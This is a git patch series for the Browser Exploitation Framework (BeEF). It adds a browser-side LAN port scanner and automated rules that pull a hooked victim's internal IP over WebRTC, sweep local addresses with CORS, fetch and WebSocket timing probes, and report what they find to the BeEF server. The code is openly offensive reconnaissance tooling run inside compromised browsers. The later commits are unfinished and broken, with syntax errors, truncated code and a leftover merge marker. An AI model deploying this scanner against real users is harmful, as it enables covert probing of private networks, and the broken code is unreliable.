From d1f778dab08b6ac42f407444d3c147c69a226543 Mon Sep 17 00:00:00 2001 From: root Date: Wed, 1 Apr 2020 12:14:01 +1000 Subject: [PATCH 01/18] Added portscan arerule --- arerules/lan_port_scan.json | 25 +++++++++++++++++++++++++ 1 file changed, 25 insertions(+) create mode 100644 arerules/lan_port_scan.json diff --git a/arerules/lan_port_scan.json b/arerules/lan_port_scan.json new file mode 100644 index 000000000..a89ce7def --- /dev/null +++ b/arerules/lan_port_scan.json @@ -0,0 +1,25 @@ +{"name": "LAN Ping Sweep", + "author": "bcoles", + "browser": "FF", + "browser_version": "ALL", + "os": "ALL", + "os_version": "ALL", + "modules": [ + {"name": "get_internal_ip_webrtc", + "condition": null, + "code": null, + "options": {} + }, + {"name": "ping_sweep", + "condition": "status==1", + "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;", + "options": { + "rhosts":"<>", + "threads":"3" + } + } + ], + "execution_order": [0, 1], + "execution_delay": [0, 0], + "chain_mode": "nested-forward" +} From 3c3b3e259569373e5150ee6e3e376e9b5e7692c3 Mon Sep 17 00:00:00 2001 From: aaron Date: Wed, 1 Apr 2020 12:22:52 +1000 Subject: [PATCH 02/18] Modified lan_portscan for name --- arerules/lan_port_scan.json | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/arerules/lan_port_scan.json b/arerules/lan_port_scan.json index a89ce7def..4556d2c8c 100644 --- a/arerules/lan_port_scan.json +++ b/arerules/lan_port_scan.json @@ -1,6 +1,6 @@ -{"name": "LAN Ping Sweep", - "author": "bcoles", - "browser": "FF", +{"name": "LAN Port Scan", + "author": "aburro & aussieklutz", + "browser": "ALL", "browser_version": "ALL", "os": "ALL", "os_version": "ALL", From 10f367eb5ae2b9c98814a72aaf882455c3be0f6d Mon Sep 17 00:00:00 2001 From: aaron Date: Wed, 1 Apr 2020 12:29:53 +1000 Subject: [PATCH 03/18] Portscan multihosts --- arerules/lan_port_scan.json | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/arerules/lan_port_scan.json b/arerules/lan_port_scan.json index 4556d2c8c..893bcd3d0 100644 --- a/arerules/lan_port_scan.json +++ b/arerules/lan_port_scan.json @@ -14,8 +14,8 @@ "condition": "status==1", "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;", "options": { - "rhosts":"<>", - "threads":"3" + "ipHost":"<>", + "port":"80,8080" } } ], From 047b18ec88fba5a04768e432b6462aa6d6424bc4 Mon Sep 17 00:00:00 2001 From: aaron Date: Wed, 1 Apr 2020 12:34:42 +1000 Subject: [PATCH 04/18] Updated to correct module --- arerules/lan_port_scan.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/arerules/lan_port_scan.json b/arerules/lan_port_scan.json index 893bcd3d0..7506e0cec 100644 --- a/arerules/lan_port_scan.json +++ b/arerules/lan_port_scan.json @@ -10,7 +10,7 @@ "code": null, "options": {} }, - {"name": "ping_sweep", + {"name": "port_scanner", "condition": "status==1", "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;", "options": { From f28bc603ad383ea9d1f396d79773a9f511b83c71 Mon Sep 17 00:00:00 2001 From: aaron Date: Wed, 1 Apr 2020 14:06:55 +1000 Subject: [PATCH 05/18] Starting promise based port scanner --- .bundle/config | 4 +- .gitignore | 2 +- arerules/lan_port_scan.json | 4 +- config.yaml | 2 +- modules/network/sw_port_scanner/command.js | 122 ++++++++++++++++++++ modules/network/sw_port_scanner/config.yaml | 33 ++++++ modules/network/sw_port_scanner/module.rb | 43 +++++++ 7 files changed, 204 insertions(+), 6 deletions(-) create mode 100644 modules/network/sw_port_scanner/command.js create mode 100644 modules/network/sw_port_scanner/config.yaml create mode 100644 modules/network/sw_port_scanner/module.rb diff --git a/.bundle/config b/.bundle/config index e7db70bb4..e540b5346 100644 --- a/.bundle/config +++ b/.bundle/config @@ -1,3 +1,3 @@ --- -BUNDLE_WITHOUT: "development" -BUNDLE_WITH: "test:tests" +BUNDLE_WITHOUT: "test:development" +BUNDLE_WITH: "tests" diff --git a/.gitignore b/.gitignore index 1e0f0ef1e..8cfdbfb00 100644 --- a/.gitignore +++ b/.gitignore @@ -122,4 +122,4 @@ out/ doc/rdoc/ # User-specific files - +config.yaml diff --git a/arerules/lan_port_scan.json b/arerules/lan_port_scan.json index 7506e0cec..ac4f0e782 100644 --- a/arerules/lan_port_scan.json +++ b/arerules/lan_port_scan.json @@ -12,10 +12,10 @@ }, {"name": "port_scanner", "condition": "status==1", - "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;", + "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.'+s[3]; var mod_input = start;", "options": { "ipHost":"<>", - "port":"80,8080" + #"port":"80,8080" } } ], diff --git a/config.yaml b/config.yaml index ce6449269..ea203d275 100644 --- a/config.yaml +++ b/config.yaml @@ -18,7 +18,7 @@ beef: # Used by both the RESTful API and the Admin interface credentials: user: "beef" - passwd: "beef" + passwd: "beef1" # Interface / IP restrictions restrictions: diff --git a/modules/network/sw_port_scanner/command.js b/modules/network/sw_port_scanner/command.js new file mode 100644 index 000000000..2d4e2c7d3 --- /dev/null +++ b/modules/network/sw_port_scanner/command.js @@ -0,0 +1,122 @@ +// +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +beef.execute(function() { + + var ips = new Array(); + var ipRange = "<%= @ipRange %>"; + var ports = "<%= @ports %>"; + var threads = parseInt("<%= @threads %>", 10); + var timeout = parseInt("<%= @timeout %>", 10)*1000; + var wait = parseInt("<%= @wait %>", 10)*1000; + + if(!beef.browser.hasCors()) { + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser does not support CORS', beef.are.status_error()); + return; + } + + // set target ports + if (ports != null) { + ports = ports.split(','); + } + + // set target IP addresses + if (ipRange == 'common') { + // use default IPs + ips = [ + '192.168.0.1', + '192.168.0.100', + '192.168.0.254', + '192.168.1.1', + '192.168.1.100', + '192.168.1.254', + '10.0.0.1', + '10.1.1.1', + '192.168.2.1', + '192.168.2.254', + '192.168.100.1', + '192.168.100.254', + '192.168.123.1', + '192.168.123.254', + '192.168.10.1', + '192.168.10.254' + ]; + } else { + // set target IP range + var range = ipRange.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\-([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$'); + if (range == null || range[1] == null) { + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed IP range supplied", beef.are.status_error()); + return; + } + // ipRange will be in the form of 192.168.0.1-192.168.0.254 + // the fourth octet will be iterated. + // (only C class IP ranges are supported atm) + ipBounds = ipRange.split('-'); + lowerBound = ipBounds[0].split('.')[3]; + upperBound = ipBounds[1].split('.')[3]; + for (var i = lowerBound; i <= upperBound; i++){ + ipToTest = ipBounds[0].split('.')[0]+"."+ipBounds[0].split('.')[1]+"."+ipBounds[0].split('.')[2]+"."+i; + ips.push(ipToTest); + } + } + + WorkerQueue = function(frequency) { + + var stack = []; + var timer = null; + var frequency = frequency; + var start_scan = (new Date).getTime(); + + this.process = function() { + var item = stack.shift(); + eval(item); + if (stack.length === 0) { + clearInterval(timer); + timer = null; + var interval = (new Date).getTime() - start_scan; + beef.debug("[Cross-Origin Scanner (CORS)] Worker queue is complete ["+interval+" ms]"); + return; + } + } + + this.queue = function(item) { + stack.push(item); + if (timer === null) { + timer = setInterval(this.process, frequency); + } + } + + } + + beef.debug("[Cross-Origin Scanner (CORS)] Starting scan ("+(ips.length*ports.length)+" URLs / "+threads+" workers)"); + + // create worker queue + var workers = new Array(); + for (w=0; w < threads; w++) { + workers.push(new WorkerQueue(wait)); + } + + // send CORS request to each IP + for (var i=0; i < ips.length; i++) { + var worker = workers[i % threads]; + for (var p=0; p < ports.length; p++) { + if (ports[p] == '443') var proto = 'https'; else var proto = 'http'; + var url = proto + '://' + ips[i] + ':' + ports[p]; + worker.queue('beef.debug("[Cross-Origin Scanner (CORS)] Fetching URL: '+url+'");' + + 'beef.net.cors.request(' + + '"GET", "'+url+'", "", '+timeout+', function(response) {' + + 'if (response != null && response["status"] != 0) {' + + 'beef.debug("[Cross-Origin Scanner (CORS)] Received response from '+url+': " + JSON.stringify(response));' + + 'var title = response["body"].match("(.*?)<\\/title>"); if (title != null) title = title[1];' + + 'beef.net.send("<%= @command_url %>", <%= @command_id %>, "proto='+proto+'&ip='+ips[i]+'&port='+ports[p]+'&status="+response["status"]+"&title="+title+"&response="+JSON.stringify(response), beef.are.status_success());' + + '}' + + '});' + ); + } + } + +}); + diff --git a/modules/network/sw_port_scanner/config.yaml b/modules/network/sw_port_scanner/config.yaml new file mode 100644 index 000000000..188a406be --- /dev/null +++ b/modules/network/sw_port_scanner/config.yaml @@ -0,0 +1,33 @@ +# +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +beef: + module: + cross_origin_scanner_cors: + enable: true + category: "Network" + name: "Cross-Origin Scanner (CORS)" + description: "Scan an IP range for web servers which allow cross-origin requests using CORS. The HTTP response is returned to BeEF.<br/><br/>Note: set the IP address range to 'common' to scan a list of common LAN addresses." + authors: ["bcoles"] + # http://caniuse.com/cors + target: + working: ["ALL"] + not_working: + # CORS is partially supported on IE 8 & 9 + IE: + min_ver: 6 + max_ver: 7 + O: + min_ver: 1 + max_ver: 11 + C: + min_ver: 1 + max_ver: 3 + S: + min_ver: 1 + max_ver: 3 + F: + min_ver: 1 + max_ver: 3 diff --git a/modules/network/sw_port_scanner/module.rb b/modules/network/sw_port_scanner/module.rb new file mode 100644 index 000000000..12e1533e6 --- /dev/null +++ b/modules/network/sw_port_scanner/module.rb @@ -0,0 +1,43 @@ +# +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +class Cross_origin_scanner_cors < BeEF::Core::Command + + def post_execute + content = {} + content['result'] = @datastore['result'] + save content + + configuration = BeEF::Core::Configuration.instance + if configuration.get("beef.extension.network.enable") == true + + session_id = @datastore['beefhook'] + + # log the network service + if @datastore['results'] =~ /^proto=(https?)&ip=(.+)&port=([\d]+)&status/ + proto = $1 + ip = $2 + port = $3 + type = 'HTTP Server (CORS)' + if BeEF::Filters.is_valid_ip?(ip) + print_debug("Hooked browser found HTTP server #{ip}:#{port}") + BeEF::Core::Models::NetworkService.create(:hooked_browser_id => session_id, :proto => proto, :ip => ip, :port => port, :type => type) + end + end + end + + end + + def self.options + return [ + {'name' => 'ipRange', 'ui_label' => 'Scan IP range (C class)', 'value' => '192.168.0.1-192.168.0.254'}, + {'name' => 'ports', 'ui_label' => 'Ports', 'value' => '80,8080'}, + {'name' => 'threads', 'ui_label' => 'Workers', 'value' => '2'}, + {'name' => 'wait', 'ui_label' => 'Wait (s) between each request for each worker', 'value' => '2'}, + {'name' => 'timeout', 'ui_label' => 'Timeout for each request (s)', 'value' => '10'} + ] + end + +end From aae313fee09820de93f2aa56bb1a8f017b0e915c Mon Sep 17 00:00:00 2001 From: AussieKlutz <aussieklutz@gmail.com> Date: Wed, 1 Apr 2020 14:21:41 +1000 Subject: [PATCH 06/18] Removed extraneous comma, due to a commented option --- arerules/lan_port_scan.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/arerules/lan_port_scan.json b/arerules/lan_port_scan.json index ac4f0e782..44c37ef5a 100644 --- a/arerules/lan_port_scan.json +++ b/arerules/lan_port_scan.json @@ -14,7 +14,7 @@ "condition": "status==1", "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.'+s[3]; var mod_input = start;", "options": { - "ipHost":"<<mod_input>>", + "ipHost":"<<mod_input>>" #"port":"80,8080" } } From dcb946dfa21ab4c9d6b933846db0543c1015d47f Mon Sep 17 00:00:00 2001 From: AussieKlutz <aussieklutz@gmail.com> Date: Wed, 1 Apr 2020 14:38:14 +1000 Subject: [PATCH 07/18] First cut, automated scan using new sw_port_scanner module. --- arerules/lan_sw_port_scan.json | 29 +++++++++++++++++++++++++++++ 1 file changed, 29 insertions(+) create mode 100644 arerules/lan_sw_port_scan.json diff --git a/arerules/lan_sw_port_scan.json b/arerules/lan_sw_port_scan.json new file mode 100644 index 000000000..5f9e8ba91 --- /dev/null +++ b/arerules/lan_sw_port_scan.json @@ -0,0 +1,29 @@ +{"name": "LAN SW Port Scan", + "author": "aburro & aussieklutz", + "browser": "ALL", + "browser_version": "ALL", + "os": "ALL", + "os_version": "ALL", + "modules": [ + {"name": "get_internal_ip_webrtc", + "condition": null, + "code": null, + "options": {} + }, + {"name": "sw_port_scanner", + "condition": "status==1", + "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.'+s[3]; var mod_input = start;", + "options": { + "ipRange":"<<mod_input>>", + "ports":"80,8080", + "threads":2, + "wait":2, + "timeout":20 + #"port":"80,8080" + } + } + ], + "execution_order": [0, 1], + "execution_delay": [0, 0], + "chain_mode": "nested-forward" +} From 3b27cd65d84e14156d2a966ff87d5f4dec582423 Mon Sep 17 00:00:00 2001 From: aaron <aaron@alcorngroup.com> Date: Wed, 1 Apr 2020 17:55:12 +1000 Subject: [PATCH 08/18] End of day code --- config.yaml | 4 +- modules/network/sw_port_scanner/command.js | 51 ++++++++++++++-------- 2 files changed, 35 insertions(+), 20 deletions(-) diff --git a/config.yaml b/config.yaml index ea203d275..75ae974b5 100644 --- a/config.yaml +++ b/config.yaml @@ -8,9 +8,9 @@ beef: version: '0.5.0.0-alpha-pre' # More verbose messages (server-side) - debug: false + debug: true # More verbose messages (client-side) - client_debug: false + client_debug: true # Used for generating secure tokens crypto_default_value_length: 80 diff --git a/modules/network/sw_port_scanner/command.js b/modules/network/sw_port_scanner/command.js index 2d4e2c7d3..1992255db 100644 --- a/modules/network/sw_port_scanner/command.js +++ b/modules/network/sw_port_scanner/command.js @@ -99,24 +99,39 @@ beef.execute(function() { workers.push(new WorkerQueue(wait)); } - // send CORS request to each IP - for (var i=0; i < ips.length; i++) { - var worker = workers[i % threads]; - for (var p=0; p < ports.length; p++) { - if (ports[p] == '443') var proto = 'https'; else var proto = 'http'; - var url = proto + '://' + ips[i] + ':' + ports[p]; - worker.queue('beef.debug("[Cross-Origin Scanner (CORS)] Fetching URL: '+url+'");' + - 'beef.net.cors.request(' + - '"GET", "'+url+'", "", '+timeout+', function(response) {' + - 'if (response != null && response["status"] != 0) {' + - 'beef.debug("[Cross-Origin Scanner (CORS)] Received response from '+url+': " + JSON.stringify(response));' + - 'var title = response["body"].match("<title>(.*?)<\\/title>"); if (title != null) title = title[1];' + - 'beef.net.send("<%= @command_url %>", <%= @command_id %>, "proto='+proto+'&ip='+ips[i]+'&port='+ports[p]+'&status="+response["status"]+"&title="+title+"&response="+JSON.stringify(response), beef.are.status_success());' + - '}' + - '});' - ); - } - } +//Below is so broken right now +//Firefox returns open ports speaking non-http as response.status = 0 +//Chrome returns open ports speaking non-http as identical to closed ports. However time difference is 70ms for websocket attempt on non-http but open, 1000ms for closed. +//Will hates all of the above, and it is the best way to go forward. The sw_port_scan code incorporates these detectable deviations. + +// Create a fetch abort controller that will kill code that runs for too long + + +fetch('http://' + ipaddress+":"+port, {mode: 'no-cors'}) +//what to do after fetch returns +.then(function(res){ +// If there is a status returned then Mozilla Firefox 68.5.0esr made a successful connection +// This includes where it is not http and open +console.log(Number.isInteger(res.status)) +} +).catch(function(ex){ +// If we caught an error this could be one of two things. It's closed (because +check_socket(ipaddress, port) +}) + + +// If we get to this stage +Function check_socket(ipaddress,port){ +let socket = new WebSocket("ws://"); + + +socket.onopen = function(e) { alert("[open] Connection established"); alert("Sending to server"); socket.send("My name is John");}; +socket.onmessage = function(event) { alert(`[message] Data received from server: ${event.data}`);}; +socket.onclose = function(event) { if (event.wasClean) { alert(`[close] Connection closed cleanly, code=${event.code} reason=${event.reason}`); } else { // e.g. server process killed or network down // event.code is usually 1006 in this case alert('[close] Connection died'); }}; +socket.onerror = function(error) { alert(`[error] ${error.message}`);}; +} + + }); From d63511dd943757064d609451b03740d74a7d5cf1 Mon Sep 17 00:00:00 2001 From: aburro <aaron.burrows@alcorngroup.com> Date: Thu, 2 Apr 2020 09:42:59 +1000 Subject: [PATCH 09/18] Update command.js --- modules/network/sw_port_scanner/command.js | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/network/sw_port_scanner/command.js b/modules/network/sw_port_scanner/command.js index 1992255db..368f2c773 100644 --- a/modules/network/sw_port_scanner/command.js +++ b/modules/network/sw_port_scanner/command.js @@ -115,7 +115,8 @@ fetch('http://' + ipaddress+":"+port, {mode: 'no-cors'}) console.log(Number.isInteger(res.status)) } ).catch(function(ex){ -// If we caught an error this could be one of two things. It's closed (because +// If we caught an error this could be one of two things. It's closed (because there was no service), it's open (because the system does not +// respond with http). Therefore we can split on 500 ms response time on a websocket (>500 ms close, <500ms open but not http) check_socket(ipaddress, port) }) From 24ee0c50958c64c3192aff39bc3c4a056bbb328f Mon Sep 17 00:00:00 2001 From: aaron <aaron@alcorngroup.com> Date: Thu, 2 Apr 2020 15:21:33 +1000 Subject: [PATCH 10/18] Adding GBs hookedbrowserwebsockettimeout fix --- config.yaml | 8 ++++---- core/main/rest/handlers/hookedbrowsers.rb | 10 ++++++++-- 2 files changed, 12 insertions(+), 6 deletions(-) diff --git a/config.yaml b/config.yaml index 75ae974b5..269bb7bac 100644 --- a/config.yaml +++ b/config.yaml @@ -8,9 +8,9 @@ beef: version: '0.5.0.0-alpha-pre' # More verbose messages (server-side) - debug: true + debug: false # More verbose messages (client-side) - client_debug: true + client_debug: false # Used for generating secure tokens crypto_default_value_length: 80 @@ -69,13 +69,13 @@ beef: # Prefer WebSockets over XHR-polling when possible. websocket: - enable: false + enable: true port: 61985 # WS: good success rate through proxies # Use encrypted 'WebSocketSecure' # NOTE: works only on HTTPS domains and with HTTPS support enabled in BeEF secure: true secure_port: 61986 # WSSecure - ws_poll_timeout: 1000 # poll BeEF every second + ws_poll_timeout: 60000 # poll BeEF every 60 second ws_connect_timeout: 500 # useful to help fingerprinting finish before establishing the WS channel # Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header) diff --git a/core/main/rest/handlers/hookedbrowsers.rb b/core/main/rest/handlers/hookedbrowsers.rb index 3c354e6f7..c4f7c8a50 100644 --- a/core/main/rest/handlers/hookedbrowsers.rb +++ b/core/main/rest/handlers/hookedbrowsers.rb @@ -24,8 +24,14 @@ module BeEF # @note Get online and offline hooked browsers details (like name, version, os, ip, port, ...) # get '/' do - online_hooks = hb_to_json(BeEF::Core::Models::HookedBrowser.where('lastseen >= ?', (Time.new.to_i - 15))) - offline_hooks = hb_to_json(BeEF::Core::Models::HookedBrowser.where('lastseen <= ?', (Time.new.to_i - 15))) + if config.get('beef.http.websocket.enable') == false + online_hooks = hb_to_json(BeEF::Core::Models::HookedBrowser.where('lastseen >= ?', (Time.new.to_i - 15))) + offline_hooks = hb_to_json(BeEF::Core::Models::HookedBrowser.where('lastseen <= ?', (Time.new.to_i - 15))) + else + timeout = config.get('beef.http.websocket.ws_poll_timeout') + online_hooks = hb_to_json(BeEF::Core::Models::HookedBrowser.where('lastseen >= ?', (Time.new.to_i - timeout))) + offline_hooks = hb_to_json(BeEF::Core::Models::HookedBrowser.where('lastseen <= ?', (Time.new.to_i - timeout))) + end output = { 'hooked-browsers' => { From 53b283b71d41da0d4903e841c001342e4a97891b Mon Sep 17 00:00:00 2001 From: aaron <aaron@alcorngroup.com> Date: Thu, 2 Apr 2020 15:22:33 +1000 Subject: [PATCH 11/18] Commenting GBs hookedbrowserwebsockettimeout fix --- core/main/rest/handlers/hookedbrowsers.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/core/main/rest/handlers/hookedbrowsers.rb b/core/main/rest/handlers/hookedbrowsers.rb index c4f7c8a50..9c2add985 100644 --- a/core/main/rest/handlers/hookedbrowsers.rb +++ b/core/main/rest/handlers/hookedbrowsers.rb @@ -27,6 +27,8 @@ module BeEF if config.get('beef.http.websocket.enable') == false online_hooks = hb_to_json(BeEF::Core::Models::HookedBrowser.where('lastseen >= ?', (Time.new.to_i - 15))) offline_hooks = hb_to_json(BeEF::Core::Models::HookedBrowser.where('lastseen <= ?', (Time.new.to_i - 15))) + # If we're using websockets use the designated threshold timeout to determine live, instead of hardcoded 15 + # Why is it hardcoded 15? else timeout = config.get('beef.http.websocket.ws_poll_timeout') online_hooks = hb_to_json(BeEF::Core::Models::HookedBrowser.where('lastseen >= ?', (Time.new.to_i - timeout))) From 7c1c7d61088080e7e10e00aa7c7efaa65401ae56 Mon Sep 17 00:00:00 2001 From: aaron <aaron@alcorngroup.com> Date: Thu, 2 Apr 2020 17:17:21 +1000 Subject: [PATCH 12/18] Fixed merge conflict --- core/main/rest/handlers/hookedbrowsers.rb | 7 ------- 1 file changed, 7 deletions(-) diff --git a/core/main/rest/handlers/hookedbrowsers.rb b/core/main/rest/handlers/hookedbrowsers.rb index 0c51f134e..9a0cb36f5 100644 --- a/core/main/rest/handlers/hookedbrowsers.rb +++ b/core/main/rest/handlers/hookedbrowsers.rb @@ -36,13 +36,6 @@ module BeEF offline_hooks = hb_to_json(BeEF::Core::Models::HookedBrowser.where('lastseen <= ?', (Time.new.to_i - timeout))) end - else - timeout = (config.get('beef.http.websocket.ws_poll_timeout').to_i / 1000) + 5 - online_hooks = hb_to_json(BeEF::Core::Models::HookedBrowser.where('lastseen >= ?', (Time.new.to_i - timeout))) - offline_hooks = hb_to_json(BeEF::Core::Models::HookedBrowser.where('lastseen <= ?', (Time.new.to_i - timeout))) - end - ->>>>>>> 6ebb8a0e04541f26c0aeb5f9034b7c99695c6ddd output = { 'hooked-browsers' => { 'online' => online_hooks, From 9074ed0b226e45879ea33f3886675f0e49ff44f0 Mon Sep 17 00:00:00 2001 From: aaron <aaron@alcorngroup.com> Date: Thu, 2 Apr 2020 18:38:18 +1000 Subject: [PATCH 13/18] Based on tests updated poc code for port scanner --- core/main/handlers/modules/beefjs.rb | 115 +-------------------- modules/network/sw_port_scanner/command.js | 18 +--- 2 files changed, 6 insertions(+), 127 deletions(-) diff --git a/core/main/handlers/modules/beefjs.rb b/core/main/handlers/modules/beefjs.rb index f291471c5..7ee67a271 100644 --- a/core/main/handlers/modules/beefjs.rb +++ b/core/main/handlers/modules/beefjs.rb @@ -11,123 +11,16 @@ module BeEF # @note Purpose: avoid rewriting several times the same code. module BeEFJS + include BeEF::Core::Handlers::Modules::legacyBeEFJS + # Builds the default beefjs library (all default components of the library). # @param [Object] req_host The request object def build_beefjs!(req_host) - config = BeEF::Core::Configuration.instance - # @note set up values required to construct beefjs - beef_js = '' - # @note location of sub files - beef_js_path = "#{$root_dir}/core/main/client/" + if config.get("beef.testif.enable") - # @note External libraries (like jQuery) that are not evaluated with Eruby and possibly not obfuscated - ext_js_sub_files = %w(lib/jquery-1.12.4.min.js lib/jquery-migrate-1.4.1.js lib/evercookie.js lib/json2.js lib/mdetect.js lib/platform.js lib/jquery.blockUI.js) - - # @note BeEF libraries: need Eruby evaluation and obfuscation - beef_js_sub_files = %w(beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js geolocation.js net/dns.js net/connection.js net/cors.js net/requester.js net/xssrays.js net/portscanner.js are.js) - # @note Load websocket library only if WS server is enabled in config.yaml - if config.get("beef.http.websocket.enable") == true - beef_js_sub_files << "websocket.js" - end - # @note Load webrtc library only if WebRTC extension is enabled - if config.get("beef.extension.webrtc.enable") == true - beef_js_sub_files << "lib/webrtcadapter.js" - beef_js_sub_files << "webrtc.js" - end - - # @note antisnatchor: leave timeout.js as the last one! - beef_js_sub_files << "timeout.js" - - ext_js_to_obfuscate = '' - ext_js_to_not_obfuscate = '' - - # @note If Evasion is enabled, the final ext_js string will be ext_js_to_obfuscate + ext_js_to_not_obfuscate - # @note If Evasion is disabled, the final ext_js will be just ext_js_to_not_obfuscate - ext_js_sub_files.each { |ext_js_sub_file| - if config.get("beef.extension.evasion.enable") - if config.get("beef.extension.evasion.exclude_core_js").include?(ext_js_sub_file) - print_debug "Excluding #{ext_js_sub_file} from core files obfuscation list" - # do not obfuscate the file - ext_js_sub_file_path = beef_js_path + ext_js_sub_file - ext_js_to_not_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n") - else - ext_js_sub_file_path = beef_js_path + ext_js_sub_file - ext_js_to_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n") - end - else - # Evasion is not enabled, do not obfuscate anything - ext_js_sub_file_path = beef_js_path + ext_js_sub_file - ext_js_to_not_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n") - end - } - - # @note construct the beef_js string from file(s) - beef_js_sub_files.each { |beef_js_sub_file| - beef_js_sub_file_path = beef_js_path + beef_js_sub_file - beef_js << (File.read(beef_js_sub_file_path) + "\n\n") - } - - # @note create the config for the hooked browser session - hook_session_config = BeEF::Core::Server.instance.to_h - - # @note if http_host="0.0.0.0" in config ini, use the host requested by client - unless hook_session_config['beef_public'].nil? - if hook_session_config['beef_host'] != hook_session_config['beef_public'] - hook_session_config['beef_host'] = hook_session_config['beef_public'] - hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_host']}/, hook_session_config['beef_public']) - end - end - if hook_session_config['beef_host'].eql? "0.0.0.0" - hook_session_config['beef_host'] = req_host - hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host) - end - - # @note set the XHR-polling timeout - hook_session_config['xhr_poll_timeout'] = config.get("beef.http.xhr_poll_timeout") - - # @note set the hook file path and BeEF's cookie name - hook_session_config['hook_file'] = config.get("beef.http.hook_file") - hook_session_config['hook_session_name'] = config.get("beef.http.hook_session_name") - - # @note if http_port <> public_port in config ini, use the public_port - unless hook_session_config['beef_public_port'].nil? - if hook_session_config['beef_port'] != hook_session_config['beef_public_port'] - hook_session_config['beef_port'] = hook_session_config['beef_public_port'] - hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_port']}/, hook_session_config['beef_public_port']) - if hook_session_config['beef_public_port'] == '443' - hook_session_config['beef_url'].sub!(/http:/, 'https:') - end - end - end - - # @note Set some WebSocket properties - if config.get("beef.http.websocket.enable") - hook_session_config['websocket_secure'] = config.get("beef.http.websocket.secure") - hook_session_config['websocket_port'] = config.get("beef.http.websocket.port") - hook_session_config['ws_poll_timeout'] = config.get("beef.http.websocket.ws_poll_timeout") - hook_session_config['ws_connect_timeout'] = config.get("beef.http.websocket.ws_connect_timeout") - hook_session_config['websocket_sec_port']= config.get("beef.http.websocket.secure_port") - end - - # @note Set if PhishingFrenzy integration is enabled - if config.get("beef.integration.phishing_frenzy.enable") - hook_session_config['phishing_frenzy_enable'] = config.get("beef.integration.phishing_frenzy.enable") - end - - # @note populate place holders in the beef_js string and set the response body - eruby = Erubis::FastEruby.new(beef_js) - @hook = eruby.evaluate(hook_session_config) - - if config.get("beef.extension.evasion.enable") - evasion = BeEF::Extension::Evasion::Evasion.instance - @final_hook = ext_js_to_not_obfuscate + evasion.add_bootstrapper + evasion.obfuscate(ext_js_to_obfuscate + @hook) else - @final_hook = ext_js_to_not_obfuscate + @hook + legacy_build_beefjs!(req_host) end - - # @note Return the final hook to be sent to the browser - @body << @final_hook - end # Finds the path to js components diff --git a/modules/network/sw_port_scanner/command.js b/modules/network/sw_port_scanner/command.js index 368f2c773..ded9f7043 100644 --- a/modules/network/sw_port_scanner/command.js +++ b/modules/network/sw_port_scanner/command.js @@ -112,27 +112,13 @@ fetch('http://' + ipaddress+":"+port, {mode: 'no-cors'}) .then(function(res){ // If there is a status returned then Mozilla Firefox 68.5.0esr made a successful connection // This includes where it is not http and open -console.log(Number.isInteger(res.status)) + console.log(Number.isInteger(res.status)) } ).catch(function(ex){ // If we caught an error this could be one of two things. It's closed (because there was no service), it's open (because the system does not // respond with http). Therefore we can split on 500 ms response time on a websocket (>500 ms close, <500ms open but not http) -check_socket(ipaddress, port) + start=Date.now();let socket = new WebSocket("ws://192.168.74.155:9999"); socket.onerror = function(error) { end=Date.now(); console.log(end-start);}; }) - -// If we get to this stage -Function check_socket(ipaddress,port){ -let socket = new WebSocket("ws://"); - - -socket.onopen = 